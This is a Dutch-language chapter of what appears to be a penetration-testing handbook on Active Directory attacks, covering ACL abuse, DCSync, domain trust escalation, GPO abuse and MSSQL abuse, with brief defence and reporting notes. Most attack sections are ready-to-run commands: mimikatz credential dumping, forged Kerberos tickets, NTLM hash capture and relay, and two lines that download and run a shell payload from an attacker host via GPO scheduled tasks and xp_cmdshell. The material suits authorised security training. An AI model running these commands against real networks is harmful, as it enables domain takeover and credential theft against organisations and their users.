Active Directory Aanvallen
“Active Directory is het Romeinse Rijk van de IT-infrastructuur. Een indrukwekkend systeem van wegen, bestuur en burgerschap dat – als je niet oppast – door zijn eigen complexiteit ten onder gaat.”
7.1 Het Rijk en Zijn Wegen
Stel je voor: het is het jaar 117 na Christus. Het Romeinse Rijk strekt zich uit van de woestijnen van Noord-Afrika tot de mistige velden van Britannia. Elke burger heeft een identiteit. Elke stad een bestuur. Elke weg verbindt twee punten van beschaving. Er zijn wetten, rechten, provincies, gouverneurs en een keizershuis dat alles bij elkaar houdt. Het systeem is zo complex geworden dat niemand het nog volledig begrijpt – en toch functioneert het, dag na dag, door de kracht van gewoonte en bureaucratie.
Microsoft Active Directory is exact hetzelfde, alleen dan met minder togas en meer LDAP-queries.
Sinds het jaar 2000 vormt Active Directory het kloppend hart van vrijwel elke zakelijke Windows-omgeving ter wereld. Het beheert wie je bent (authenticatie), wat je mag (autorisatie), waar je bij kan (resources) en hoe je computer zich gedraagt (Group Policy). Het is een LDAP-directory, een Kerberos-realm, een DNS-server en een replicatie-engine in een trenchcoat die zich voordoet als een enkel product.
En net als het Romeinse Rijk heeft het een fundamenteel probleem: het is gebouwd op vertrouwen. Vertrouwen tussen domain controllers. Vertrouwen tussen forests. Vertrouwen dat iedereen die een toga draagt ook daadwerkelijk senator is.
In dit hoofdstuk gaan we dat vertrouwen systematisch ondermijnen.
George zou zeggen: “Active Directory is het perfecte voorbeeld van wat er gebeurt als je ingenieurs laat bouwen zonder hen te vertellen dat er ook slechteriken bestaan. Het is alsof je een kluis bouwt met een deur van staal en dan vergeet dat er ook muren moeten zijn.”
7.2 ACL Abuse: De Sleutelbos aan de Muur
7.2.1 Wat zijn ACLs in Active Directory?
Elk object in Active Directory – elke gebruiker, elke computer, elke groep, elke Organizational Unit – heeft een Access Control List (ACL). Een ACL is een lijst met regels die bepaalt wie wat mag doen met dat object. Denk aan het als een bordje op de deur van een hotelkamer: “Gasten mogen naar binnen, schoonmaak mag de handdoeken verwisselen, de manager mag de minibar controleren.”
Het probleem? In een gemiddelde Active Directory-omgeving zijn er tienduizenden objecten met elk hun eigen ACL. En die ACLs zijn in de loop der jaren aangevuld, gewijzigd en vergeten door tientallen beheerders die inmiddels allang ergens anders werken. Het resultaat is een ondoorgrondelijk web van rechten waar niemand meer overzicht over heeft.
Dit is waar tools als BloodHound en PowerView om de hoek komen kijken. Ze brengen dat web in kaart en zoeken naar het pad van minste weerstand – van jouw huidige account naar Domain Admin.
7.2.2 ACL Enumeratie met PowerView
Voordat je kunt misbruiken, moet je weten wat je hebt. PowerView is de Zwitserse Zakmes van AD-enumeratie: niet fraai, niet gepolijst, maar het doet alles wat je nodig hebt.
# Alle interessante ACLs voor de huidige gebruiker vinden
Import-Module .\PowerView.ps1
Find-InterestingDomainAcl -ResolveGUIDs | ?{
$_.IdentityReferenceName -match 'currentuser|currentgroup'
} | Select-Object ObjectDN,ActiveDirectoryRights,IdentityReferenceName |
Format-Table -AutoSizeDit commando zoekt door alle objecten in het domein naar ACL-entries die jouw gebruiker of groep noemen, en vertaalt de cryptische GUIDs naar leesbare namen. Het resultaat is een boodschappenlijstje van mogelijkheden.
# ACLs op een specifiek object bekijken (bijv. Domain Admins groep)
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs | ?{
$_.ActiveDirectoryRights -match
'GenericAll|WriteDacl|WriteOwner|GenericWrite|ForceChangePassword|WriteProperty'
}# Wie heeft DCSync rechten? (Replicating Directory Changes)
Get-DomainObjectAcl -SearchBase 'DC=domain,DC=local' -ResolveGUIDs | ?{
$_.ObjectAceType -match 'Replicating'
} | Select-Object IdentityReferenceName,ObjectAceType# Vind accounts met GenericWrite (potentiele Kerberoast targets)
Find-InterestingDomainAcl -ResolveGUIDs | ?{
$_.ActiveDirectoryRights -match 'GenericWrite'
} | Select-Object ObjectDN,IdentityReferenceName# Owner van een object checken (Owner kan WriteDACL uitvoeren)
Get-DomainObjectAcl -Identity targetuser -ResolveGUIDs |
Select-Object SecurityIdentifier,OwnerTip: Gebruik BloodHound voor visuele ACL attack paths. PowerView geeft je de ruwe data; BloodHound toont je het pad door het doolhof.
7.2.3 GenericAll: De Meestersleutel
GenericAll is precies wat het klinkt: alles. Volledige
controle over een object. Als je GenericAll hebt op een gebruiker, kun
je diens wachtwoord resetten, hem aan groepen toevoegen, zijn SPN
wijzigen – eigenlijk alles behalve het object verwijderen (daarvoor heb
je Delete nodig, maar wie doet er aan opruimen?).
Het is alsof iemand je de sleutel geeft van het hele gebouw en dan zegt: “Maar gebruik hem alleen voor de postkamer, afgesproken?” Afgesproken.
IB Command: ad_genericall
# ============================================================
# GenericAll Abuse - Volledige controle over AD object
# ============================================================
# Stap 1: Vind objecten waar je GenericAll op hebt
Import-Module .\PowerView.ps1
Find-InterestingDomainAcl -ResolveGUIDs | ?{
$_.ActiveDirectoryRights -match 'GenericAll' -and
$_.IdentityReferenceName -match 'currentuser'
}
# === Op een USER ===
# Wachtwoord resetten:
Set-DomainUserPassword -Identity targetuser `
-AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force) `
-Verbose
# Toevoegen aan groep:
Add-DomainGroupMember -Identity 'Domain Admins' -Members targetuser -Verbose
# Targeted Kerberoast (SPN zetten):
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='domain/whatever1'}
# === Op een GROEP ===
# Jezelf toevoegen:
Add-DomainGroupMember -Identity 'Domain Admins' -Members currentuser -Verbose
# === Op een COMPUTER ===
# RBCD configureren:
Set-ADComputer target$ -PrincipalsAllowedToDelegateToAccount YOURPC$Laten we dit ontleden:
Op een gebruikersobject heb je drie favoriete opties:
Wachtwoord resetten – Direct en effectief. Je verandert het wachtwoord van het doelaccount en logt in. Het nadeel: de oorspronkelijke eigenaar merkt het de volgende ochtend als hij zijn koffie nog niet op heeft.
Groep membership wijzigen – Subtieler. Je voegt het account toe aan een groep met hoge privileges. Dit werkt ook als je GenericAll hebt op de groep zelf.
Targeted Kerberoasting – De stilste optie. Je zet een SPN op het account, vraagt een service ticket aan, en kraakt het offline. Hier komen we in Hoofdstuk 8 uitgebreid op terug.
Op een groepsobject kun je jezelf toevoegen. Geen vragen gesteld, geen formulieren ingevuld. Het is alsof je jezelf op de gastenlijst van een exclusief feest schrijft terwijl de portier even naar het toilet is.
Op een computerobject kun je Resource-Based Constrained Delegation configureren – een techniek die we verderop in dit hoofdstuk en in Hoofdstuk 8 behandelen.
George zou zeggen: “GenericAll op een productie-account is het digitale equivalent van je voordeursleutel onder de mat leggen. Maar dan onder een mat die doorzichtig is. In een buurt waar iedereen een zaklamp heeft.”
7.2.4 WriteDACL: De Slotenmaker
Als GenericAll de meestersleutel is, dan is WriteDACL de mogelijkheid om nieuwe sleutels bij te maken. Met WriteDACL kun je de ACL van een object wijzigen – je kunt rechten toekennen die er niet waren.
Dit is bijzonder gevaarlijk omdat het transitief werkt: je geeft jezelf rechten, en die rechten geven je weer nieuwe mogelijkheden. Het is een privilege-escalatie-keten die begint met een klein gaatje en eindigt met volledige domeincontrole.
IB Command: ad_writedacl
# ============================================================
# WriteDACL Abuse - ACL van object wijzigen
# ============================================================
# Stap 1: Vind objecten waar je WriteDACL op hebt
Import-Module .\PowerView.ps1
Find-InterestingDomainAcl -ResolveGUIDs | ?{
$_.ActiveDirectoryRights -match 'WriteDacl' -and
$_.IdentityReferenceName -match 'currentuser'
}
# === DCSync rechten toekennen (op domain object) ===
Add-DomainObjectAcl -TargetIdentity 'DC=domain,DC=local' `
-PrincipalIdentity currentuser -Rights DCSync -Verbose
# Daarna DCSync uitvoeren:
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt" exit
# === GenericAll rechten toekennen (op user/groep) ===
Add-DomainObjectAcl -TargetIdentity targetuser `
-PrincipalIdentity currentuser -Rights All -Verbose
# === Specifieke rechten toekennen ===
# ResetPassword:
Add-DomainObjectAcl -TargetIdentity targetuser `
-PrincipalIdentity currentuser -Rights ResetPassword -Verbose
# WriteMembers (op groep):
Add-DomainObjectAcl -TargetIdentity 'Domain Admins' `
-PrincipalIdentity currentuser -Rights WriteMembers -VerboseDe schoonheid van WriteDACL zit in de subtiliteit. Je wijzigt alleen de ACL, niet het object zelf. In veel omgevingen wordt de ACL niet gemonitord – men let op wachtwoordwijzigingen, op groepslidmaatschappen, op aanmeldingen. Maar wie kijkt er naar de permissies zelf?
Het is alsof je ’s nachts de sloten van een gebouw vervangt. De volgende ochtend komt iedereen gewoon naar binnen met de oude sleutel – maar jij hebt er eentje extra gemaakt die ook past.
De keten in de praktijk:
- Je ontdekt WriteDACL op het domeinobject
(
DC=domain,DC=local) - Je kent jezelf DCSync-rechten toe
- Je voert een DCSync uit en haalt alle hashes op
- Je hebt de sleutels van het koninkrijk
Let op: WriteDACL-wijzigingen worden vastgelegd in het Security Event Log (Event ID 5136 - Directory Service Changes). Een goede SIEM detecteert dit. Een goede SIEM. Die bijna niemand correct heeft geconfigureerd.
7.3 DCSync: De Kopieerwinkel
7.3.1 Wat is DCSync?
In een Active Directory-omgeving repliceren domain controllers hun database onderling. Dit is essentieel: als DC01 uitvalt, neemt DC02 het over met dezelfde data. Het replicatieprotocol (MS-DRSR, Directory Replication Service Remote Protocol) zorgt ervoor dat wijzigingen – nieuwe gebruikers, gewijzigde wachtwoorden, aangepaste groepslidmaatschappen – van de ene DC naar de andere stromen.
DCSync misbruikt dit mechanisme. In plaats van een domain controller te zijn, doe je alsof je er een bent. Je vraagt aan de echte DC: “Hallo collega, ik heb even de laatste wijzigingen nodig van het krbtgt-account. Synchronisatie, je weet wel.” En de DC antwoordt braaf met de NTLM-hash, de AES-keys en alles wat je hartje begeert.
Het is alsof je naar een bank belt, zegt dat je de andere vestiging bent, en vraagt om een kopie van alle kluis-combinaties. En de bank zegt: “Natuurlijk! Fijn dat jullie even synchroniseren!”
7.3.2 Vereisten
Om DCSync te kunnen uitvoeren heb je twee specifieke rechten nodig op het domeinobject:
- Replicating Directory Changes (DS-Replication-Get-Changes)
- Replicating Directory Changes All (DS-Replication-Get-Changes-All)
Standaard hebben de volgende groepen deze rechten: - Domain Controllers - Domain Admins - Enterprise Admins - Administrators
Maar zoals we net zagen bij WriteDACL, kun je deze rechten ook aan jezelf toekennen als je de juiste ACL-toegang hebt.
7.3.3 DCSync in de Praktijk
IB Command: ad_dcsync
# ============================================================
# DCSync aanval - Credentials repliceren van Domain Controller
# Vereiste: Replicating Directory Changes (All) rechten
# ============================================================
# Stap 1: Check of je DCSync rechten hebt
Import-Module .\PowerView.ps1
Get-DomainObjectAcl -SearchBase 'DC=domain,DC=local' -ResolveGUIDs | ?{
$_.ObjectAceType -match 'Replicating' -and
$_.IdentityReferenceName -match 'currentuser'
}
# Stap 2: DCSync specifieke user (bijv. krbtgt voor Golden Ticket)
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt" exit
# Stap 3: DCSync alle accounts
mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv" exit
# Stap 4: DCSync Administrator
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:Administrator" exit
# Stap 5: DCSync via SafetyKatz (AMSI bypass ingebouwd)
C:\Users\Public\Loader.exe -path http://10.0.0.1/tools/SafetyKatz.exe `
"lsadump::dcsync /domain:domain.local /user:krbtgt" "exit"# Vanuit Linux met Impacket:
python3 secretsdump.py DOMAIN/user:Password123!@DC_IP -just-dc-ntlmWaarom DCSync de voorkeur heeft boven andere credential-dumping methoden:
| Methode | Vereist | Nadelen |
|---|---|---|
| LSASS memory dump | Lokale admin op DC | AV/EDR detectie, memory artifacts |
| SAM dump | Lokale admin | Alleen lokale accounts |
| NTDS.dit kopieren | Lokale admin op DC | Volume Shadow Copy nodig, luid |
| DCSync | Replication rechten | Geen contact met LSASS, schoon |
DCSync is de schoonste methode. Je raakt LSASS niet aan, je maakt geen memory dumps, je kopieert geen bestanden. Je praat gewoon met de DC via het standaard replicatieprotocol. Het is als het verschil tussen een juwelier beroven met een hamer en een koevoet, of gewoon de sleutel van de kluis opvragen bij de nachtportier.
George zou zeggen: “Microsoft bouwde een systeem waarin elke domain controller elke andere domain controller blindelings vertrouwt. En toen waren ze verbaasd dat mensen zich voordeden als domain controller. Dat is alsof je een stad bouwt waar elke politieagent gewoon een pet hoeft te dragen, en je dan verrast bent dat criminelen petten kopen.”
7.3.4 Wat Doe Je Met de Hashes?
Na een succesvolle DCSync heb je een schatkist vol hashes. De belangrijkste:
- krbtgt – De sleutel tot Golden Tickets (zie Hoofdstuk 8)
- Administrator – Direct domeinbeheer via Pass-the-Hash
- Service accounts – Vaak ook admin op specifieke servers
- Machine accounts – Silver Tickets en laterale beweging
Met secretsdump.py van Impacket krijg je alles in een
keer:
# Alles dumpen, alleen NTLM hashes
python3 secretsdump.py DOMAIN/user:Password123!@DC_IP -just-dc-ntlm
# Alles dumpen inclusief Kerberos keys
python3 secretsdump.py DOMAIN/user:Password123!@DC_IP -just-dcDe output bevat regels als:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8e4a231c4ea79c4c9f0e4f6ef71c949f:::
Die NTLM-hash na de derde dubbele punt? Dat is je gouden ticket naar het koninkrijk. Letterlijk, in het geval van krbtgt.
7.4 Domain Trust Attacks: Over de Grens
7.4.1 Trusts Begrijpen
Active Directory-forests en -domeinen kunnen vertrouwensrelaties (trusts) met elkaar aangaan. Dit is vergelijkbaar met hoe landen verdragen sluiten: burgers van land A mogen land B bezoeken, en vice versa. Soms eenzijdig (one-way trust), soms wederzijds (two-way trust).
Er zijn twee soorten die ons interesseren:
Parent-Child trusts – Automatisch aangemaakt tussen een parent domain en een child domain binnen dezelfde forest. Twee-weg, transitief. Voorbeeld:
eu.corp.localvertrouwtcorp.localen andersom.Cross-forest trusts – Handmatig aangemaakt tussen twee afzonderlijke forests. Kunnen een-weg of twee-weg zijn. Voorbeeld:
corp.localvertrouwtpartner.local.
Het fundamentele probleem is dit: als je Domain Admin bent in een child domain, kun je escaleren naar Enterprise Admin in het parent domain. De muur tussen domeinen is een illusie – het is meer een gordijn.
7.4.2 Child-to-Parent Escalation
Deze aanval misbruikt het feit dat het krbtgt-account van het child domain een trust key deelt met het parent domain. Met die sleutel kun je een inter-realm TGT aanmaken dat de SID van Enterprise Admins bevat via SID History injection.
Het is een beetje alsof je een paspoort hebt van een klein deelstaatje, en daar een stempel op zet die zegt: “Deze persoon is ook staatshoofd van het hele land.” En het immigratiekantoor van het grote land accepteert dat gewoon.
IB Command:
ad_trust_child_to_parent
# ============================================================
# Child-to-Parent trust escalation via sIDHistory
# ============================================================
# Stap 1: Trust key ophalen
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc01
# Of via DCSync:
Invoke-Mimikatz -Command '"lsadump::dcsync /user:child\parent$"'
# Stap 2: Inter-realm TGT forgery (DA -> EA)
C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /user:Administrator `
/domain:child.domain.local `
/sid:S-1-5-21-CHILD-SID `
/sids:S-1-5-21-PARENT-SID-519 `
/rc4:TRUST_KEY `
/service:krbtgt `
/target:domain.local `
/ticket:C:\Windows\tasks\trust_tkt.kirbi" "exit"
# Stap 3: TGS aanvragen + injecteren
.\Rubeus.exe asktgs /ticket:C:\Windows\tasks\trust_tkt.kirbi `
/service:cifs/parent-dc.domain.local `
/dc:parent-dc.domain.local /pttDe stappen uitgelegd:
Trust key ophalen – Via
lsadump::trust /patch(vereist DA op de child DC) of via DCSync op het trust account (child\parent$). Dit geeft je de RC4 of AES key die tussen de twee domeinen gedeeld wordt.Inter-realm TGT smeden – Je maakt een Golden Ticket-achtig ticket aan, maar met een cruciaal verschil: de
/sids:parameter. Hier injecteer je de SID van de Enterprise Admins groep (-519) van het parent domain. Het/service:krbtgt /target:domain.localdeel maakt er een inter-realm referral ticket van.TGS aanvragen – Met het gesmede ticket vraag je een service ticket aan voor een service in het parent domain. De DC van het parent domain ziet de Enterprise Admins SID in je ticket en behandelt je als EA.
Let op: SID Filtering kan deze aanval blokkeren, maar is standaard uitgeschakeld voor intra-forest trusts. Alleen bij cross-forest trusts is het ingeschakeld – en zelfs dan niet altijd correct.
7.4.3 Cross-Forest Trust Attacks
Bij een cross-forest trust heb je te maken met SID Filtering, wat betekent dat SID History injection niet werkt. Maar je kunt nog steeds een inter-forest TGT smeden om toegang te krijgen tot resources waarvoor het vertrouwde domein geautoriseerd is.
IB Command: ad_trust_cross_forest
# ============================================================
# Cross-Forest trust aanval
# ============================================================
# Stap 1: Inter-forest trust key ophalen
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
# Stap 2: Inter-forest TGT forgery
C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /user:Administrator `
/domain:current.local `
/sid:S-1-5-21-CURRENT-SID `
/rc4:TRUST_KEY `
/service:krbtgt `
/target:external.local `
/ticket:C:\Windows\tasks\trust_forest_tkt.kirbi" "exit"
# Stap 3: TGS aanvragen + injecteren
.\Rubeus.exe asktgs /ticket:C:\Windows\tasks\trust_forest_tkt.kirbi `
/service:cifs/ext-dc.external.local `
/dc:ext-dc.external.local /ptt
# Stap 4: Verifieer toegang
ls \\ext-dc.external.local\SharedFolder\Bij cross-forest aanvallen is de scope beperkter. Je krijgt geen EA in de andere forest – je krijgt toegang tot de resources waar de trust voor geconfigureerd is. Maar dat zijn vaak genoeg gedeelde mappen met gevoelige data, applicatieservers of databases.
Je zou het zo kunnen verwoorden: het is het verschil tussen een visum dat je volledige toegang geeft tot een land, en een toeristenvisum waarmee je alleen de toeristische attracties mag bezoeken. Maar soms staan de kroonjuwelen gewoon in het museum.
7.5 GPO Abuse: Beleid als Wapen
7.5.1 Group Policy Objects
Group Policy Objects (GPOs) zijn het mechanisme waarmee beheerders beleid afdwingen op computers en gebruikers in Active Directory. Ze bepalen welke software geinstalleerd wordt, welke beveiligingsinstellingen gelden, welke scripts bij het opstarten draaien, en nog honderd andere dingen.
Een GPO is in essentie een verzameling instellingen die opgeslagen zijn in SYSVOL (een gedeelde map op de domain controller) en gelinkt zijn aan een OU, site of het domein zelf. Elke computer en gebruiker in de gelinkte scope past het beleid toe bij het aanmelden of met regelmatige tussenpozen.
7.5.2 GPO als Aanvalsvector
Als je schrijfrechten hebt op een GPO die gelinkt is aan een OU met interessante computers of gebruikers, kun je die GPO misbruiken om:
- Scheduled tasks aanmaken die je payload uitvoeren
- Startup scripts instellen die bij elke herstart draaien
- Software deployen via MSI-installatie
- Lokale groepen wijzigen (jezelf toevoegen als lokale admin)
- Firewall-regels aanpassen (poorten openzetten)
# Vind GPOs waar je schrijfrechten op hebt
Import-Module .\PowerView.ps1
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ?{
$_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl|WriteOwner|GenericAll|GenericWrite' -and
$_.IdentityReferenceName -match 'currentuser'
}# Check waar een GPO gelinkt is
Get-DomainGPO -Identity '{GPO-GUID}' | select displayname,gpcfilesyspath
# Welke OUs zijn gelinkt?
Get-DomainOU -GPLink '{GPO-GUID}' | select name,distinguishedname7.5.3 Scheduled Task via GPO
De meest gebruikte methode: een immediate scheduled task toevoegen aan de GPO. Dit zorgt ervoor dat de taak uitgevoerd wordt op alle computers in de scope zodra Group Policy wordt bijgewerkt.
# Maak een scheduled task aan via GPO (SharpGPOAbuse)
.\SharpGPOAbuse.exe --AddComputerTask `
--TaskName "WindowsUpdate" `
--Author "NT AUTHORITY\SYSTEM" `
--Command "cmd.exe" `
--Arguments "/c powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/payloads/amsi-shell.ps1')" `
--GPOName "Vulnerable GPO"# Forceer Group Policy update op target (als je toegang hebt)
Invoke-GPUpdate -Computer TARGET -ForceGeorge zou zeggen: “GPOs zijn bedoeld om orde te scheppen. Maar als de verkeerde persoon ze kan bewerken, worden ze het perfecte wapen. Het is alsof de intercom van een flat gehackt wordt en in plaats van ‘goedenmiddag’ plotseling ‘installeer deze malware’ omroept aan iedereen in het gebouw.”
7.5.4 Verdediging tegen GPO Abuse
- Monitor wijzigingen aan GPOs (Event ID 5136)
- Beperk schrijfrechten op GPOs tot alleen de noodzakelijke beheerders
- Gebruik de
DenyACE om gevoelige OUs extra te beschermen - Implementeer GPO-versioning en change management
7.6 MSSQL als Aanvalsvector
7.6.1 Waarom SQL Server?
Microsoft SQL Server is de stille reus in veel Active Directory-omgevingen. Het draait op honderden servers, wordt beheerd door DBA’s die zich niet om AD-security bekommeren, en de service accounts hebben bijna altijd te veel rechten.
Denk aan de onzichtbare infrastructuur die onze wereld draaiende houdt – waterleidingen, riolen, elektriciteitskabels. SQL Server is het digitale equivalent: niemand denkt eraan totdat het kapotgaat. En niemand controleert de beveiliging totdat het te laat is.
Vanuit een aanvaller perspectief is SQL Server interessant omdat:
- Service accounts vaak domain accounts zijn met hoge privileges
- Linked servers een keten van toegang vormen door de hele omgeving
- xp_cmdshell OS-commandos kan uitvoeren
- NTLM-authenticatie afgedwongen kan worden voor hash-capture
7.6.2 Database Enumeratie
IB Command: mssql_enum
# ============================================================
# MSSQL Enumeratie met PowerUpSQL
# ============================================================
# Stap 1: Vind SQL Server instances in het domein
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain -Verbose
# Stap 2: Check welke instances bereikbaar zijn
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
# Stap 3: Server info ophalen
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Stap 4: Check huidige rechten
Invoke-SQLAudit -Instance 'TARGET,1433' -Verbose
# Stap 5: Database enumeratie
Get-SQLDatabase -Instance 'TARGET,1433' -Verbose
Get-SQLTable -Instance 'TARGET,1433' -DatabaseName master -Verbose
# Stap 6: Linked servers ontdekken
Get-SQLServerLinkCrawl -Instance 'TARGET,1433' -Verbose
# Stap 7: Check for sysadmin
Get-SQLQuery -Instance 'TARGET,1433' `
-Query "SELECT IS_SRVROLEMEMBER('sysadmin')"PowerUpSQL is voor SQL Server wat PowerView is voor Active Directory:
een toolkit die de juiste vragen stelt.
Get-SQLInstanceDomain doorzoekt Active Directory op
geregistreerde SPN’s die beginnen met MSSQLSvc/ – elke SQL
Server instance registreert zo’n SPN voor Kerberos-authenticatie.
Het Invoke-SQLAudit commando is bijzonder nuttig: het
controleert automatisch op veelvoorkomende misconfiguraties zoals:
- xp_cmdshell actief
- Zwakke wachtwoorden
- Buitensporige rechten
- Onversleutelde verbindingen
- Publieke rollen met te veel toegang
7.6.3 Linked Server Crawling
Linked servers zijn het Russisch roulette van SQL Server-beheer. Een DBA maakt een link aan tussen SQL1 en SQL2 zodat applicatie A bij de data van applicatie B kan. Dan maakt iemand anders een link van SQL2 naar SQL3. En voor je het weet heb je een keten van servers waar je doorheen kunt hoppen als een kikker over waterlelies.
IB Command: mssql_linked
# ============================================================
# MSSQL Linked Server Crawling
# ============================================================
# Stap 1: Ontdek linked servers
Import-Module .\PowerUpSQL.ps1
Get-SQLServerLinkCrawl -Instance 'TARGET,1433' -Verbose
# Stap 2: Query via linked server (OpenQuery)
SELECT * FROM OPENQUERY("LINKED_SERVER",
'SELECT @@servername; EXEC master..xp_cmdshell ''whoami''')
# Stap 3: Genest (dubbel gelinkt - SQL1 -> SQL2 -> SQL3)
SELECT * FROM OPENQUERY("SQL2",
'SELECT * FROM OPENQUERY("SQL3",
''SELECT @@servername; EXEC master..xp_cmdshell ''''whoami'''''')')
# Stap 4: Via PowerUpSQL crawl + commando
Import-Module .\PowerUpSQL.ps1
Get-SQLServerLinkCrawl -Instance 'TARGET,1433' `
-Query 'EXEC master..xp_cmdshell ''whoami''' |
Select-Object Instance,Sysadmin,CustomQuery | Format-Table
# Stap 5: xp_cmdshell activeren op linked server
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [LINKED_SERVER]
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LINKED_SERVER]
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER]De geneste OPENQUERY-syntax is een nachtmerrie van aanhalingstekens. Elke laag verdubbelt het aantal quotes dat je nodig hebt. Bij drie lagen diep zit je al op acht aanhalingstekens achter elkaar. Het is alsof je een brief schrijft in een brief in een brief, en bij elke laag moet je extra postzegels plakken.
Let op: Linked servers draaien vaak als
sa(sysadmin) op de remote server. Dit betekent dat je via een keten van linked servers uiteindelijk sysadmin-rechten kunt verkrijgen op een server waar je normaal geen toegang toe hebt.
7.6.4 xp_cmdshell: De Achterdeur in de Database
xp_cmdshell is een extended stored procedure waarmee je
OS-commandos kunt uitvoeren vanuit SQL Server. Het is het equivalent van
een intercomsysteem in een bank dat ook de kluisdeur kan openen als je
het juiste commando inspreekt.
Microsoft weet dat het gevaarlijk is – het staat standaard uit. Maar als je sysadmin bent, zet je het zo weer aan.
IB Command: mssql_xpcmdshell
# ============================================================
# MSSQL xp_cmdshell - OS Command Execution
# ============================================================
# Stap 1: Check of xp_cmdshell actief is
Import-Module .\PowerUpSQL.ps1
Get-SQLQuery -Instance 'TARGET,1433' `
-Query "SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'"
# Stap 2: Activeer xp_cmdshell (sysadmin nodig)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Stap 3: Commando uitvoeren
EXEC master..xp_cmdshell 'whoami'
# Stap 4: Reverse shell via xp_cmdshell
EXEC master..xp_cmdshell 'powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://10.0.0.1/payloads/amsi-shell.ps1'')'# Via PowerUpSQL:
Import-Module .\PowerUpSQL.ps1
Invoke-SQLOSCmd -Instance 'TARGET,1433' -Command 'whoami' -RawResultsNa gebruik: ruim op.
-- xp_cmdshell weer uitschakelen
EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;Als xp_cmdshell geblokkeerd is door een beveiligingsbeleid, zijn er alternatieven:
- sp_OACreate – COM-objecten aanmaken die processen kunnen starten
- CLR Assembly – Aangepaste .NET-code laden in SQL Server
- Agent Jobs – SQL Server Agent-taken die commandos uitvoeren
- R/Python scripts – Als Machine Learning Services geinstalleerd zijn
7.6.5 UNC Path Injection: Hash Stelen via SQL
Dit is een van de elegantere technieken: je dwingt de SQL Server om een SMB-verbinding te maken naar jouw machine, waardoor de NTLM-hash van het service account wordt verzonden.
IB Command: mssql_unc_inject
# ============================================================
# MSSQL UNC Path Injection - NTLMv2 hash capture
# ============================================================
# Stap 1: Start Responder op aanvaller
responder -I eth0 -wrf
# Of Impacket smbserver:
python3 smbserver.py share /tmp -smb2support-- Stap 2: Trigger UNC path vanuit SQL (forceert NTLM auth naar aanvaller)
EXEC master..xp_dirtree '\\10.0.0.1\share'
-- Alternatieven:
EXEC master..xp_fileexist '\\10.0.0.1\share\test'
EXEC master..xp_subdirs '\\10.0.0.1\share'# Via PowerUpSQL:
Import-Module .\PowerUpSQL.ps1
Invoke-SQLUncPathInjection -CaptureIp 10.0.0.1# Stap 3: Crack captured NTLMv2 hash
hashcat -m 5600 captured_hash.txt wordlist.txt
# Stap 4: Als SQL service draait als domain account - relay naar andere service
python3 ntlmrelayx.py -t TARGET2 -smb2supportWaarom werkt dit?
Wanneer SQL Server een UNC-pad probeert te benaderen
(\\server\share), gebruikt Windows automatisch de
credentials van het proces – in dit geval het service account van SQL
Server. De NTLM-authenticatie wordt naar jouw SMB-server gestuurd, waar
je de NTLMv2-hash opvangt.
Die hash kun je: 1. Kraken met hashcat of john (als het wachtwoord zwak is) 2. Relayen naar een andere service (als SMB signing niet vereist is)
George zou zeggen: “SQL Server service accounts draaien vaak als domain user met Domain Admin-achtige rechten. Waarom? Omdat de DBA tijdens de installatie ‘het werkt niet’ zei, en de systeembeheerder antwoordde ‘maak hem maar Domain Admin, dan werkt het wel.’ En zo begint elk beveiligingsincident: met twee mensen die allebei naar huis willen.”
7.7 IB Findings Management: Bevindingen Vastleggen
7.7.1 Van Exploitatie naar Rapport
Het vinden van een kwetsbaarheid is slechts de helft van het werk. De andere helft – en volgens sommigen de moeilijkere helft – is het correct documenteren van wat je gevonden hebt. Een pentest zonder rapport is als een doktersbezoek zonder diagnose: je hebt veel moeten doorstaan en bent niets wijzer geworden.
Incompetent Bastard heeft een ingebouwd finding management systeem dat je helpt om bevindingen gestructureerd vast te leggen met OWASP Top 10 classificatie, CVSS 4.0 scoring en evidence management.
7.7.2 Het Findings Model
Het systeem werkt met twee lagen:
Templates (
db_bevindingen_templates) – Standaard bevindingen met beschrijvingen, aanbevelingen, OWASP-categorie, CWE-nummer en MITRE ATT&CK-referentie. Dit zijn je herbruikbare bouwblokken.Bevindingen (
db_bevindingen) – Projectspecifieke instanties die verwijzen naar een template maar aangevuld worden met locatie, evidence, CVSS-score en flags.
7.7.3 CVSS 4.0 Scoring
IB ondersteunt CVSS 4.0 scoring via een ingebouwde calculator. De API valideert alle 11 verplichte base metrics:
AV (Attack Vector), AC (Attack Complexity), AT (Attack Requirements),
PR (Privileges Required), UI (User Interaction),
VC (Confidentiality Impact to Vulnerable System),
VI (Integrity Impact to Vulnerable System),
VA (Availability Impact to Vulnerable System),
SC (Confidentiality Impact to Subsequent System),
SI (Integrity Impact to Subsequent System),
SA (Availability Impact to Subsequent System)
Een typische CVSS 4.0 vector voor een AD ACL abuse bevinding:
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
